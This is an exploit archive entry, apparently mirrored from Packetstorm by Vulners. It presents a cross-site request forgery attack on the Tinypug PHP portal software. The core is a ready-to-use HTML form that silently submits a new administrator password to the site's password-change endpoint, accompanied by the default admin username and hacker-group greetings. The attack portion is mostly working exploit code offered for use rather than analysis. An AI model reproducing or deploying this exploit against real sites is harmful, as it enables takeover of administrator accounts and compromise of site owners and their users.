Lucene search
K

TinyPug Cross Site Request Forgery

🗓️ 24 Feb 2010 00:00:00Reported by ViRuSMaNType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 32 Views

Remote password change exploit for Tinypu

Code
`  
  
==============================================================================  
[»] ~ Note : [ Default Username Of Admin : Administrator ]  
==============================================================================  
[»] Tinypug Remote Change Password Exploit  
==============================================================================  
  
[»] Script: [ Tinypug ]  
[»] Language: [ PHP ]  
[»] Site page: [ Tinypug is a system for building portals that enable innovation communities and customer inquiry. ]  
[»] Download: [ http://code.google.com/p/tinypug/ ]  
[»] Founder: [ ViRuSMaN <[email protected] - [email protected]> ]  
[»] Greetz to: [ HackTeach Team , Egyptian Hackers , All My Friends & Islam-Defenders.com ]  
[»] My Home: [ HackTeach.Org , Islam-Attack.Com ]  
  
###########################################################################  
  
===[ Exploit ]===  
  
<html>  
<head>  
<title>Tinypug Remote Change Admin Password Exploit [By:MvM]</title>  
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">  
</head>  
<body>  
<form action="http://tinypug.com/profiles/change_password" method="post" id="the_form">  
<div class='frmrow'>  
<label for="password">New Password: </label>  
<input type="password" name="password" value="" /> </div>  
<div class='frmrow'>  
<label for="password2">Enter Again To Confirm: </label>  
<input type="password" name="password2" value="" /> </div>  
<div class='frmsubmit'>  
<input type="submit" name="submit" value="Change Password" /></div>  
</form>  
</body>  
</html>  
  
Author: ViRuSMaN <-  
  
###########################################################################  
________________________________  
Hotmail: Powerful Free email with security by Microsoft. Get it now.<https://signup.live.com/signup.aspx?id=60969>  
  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation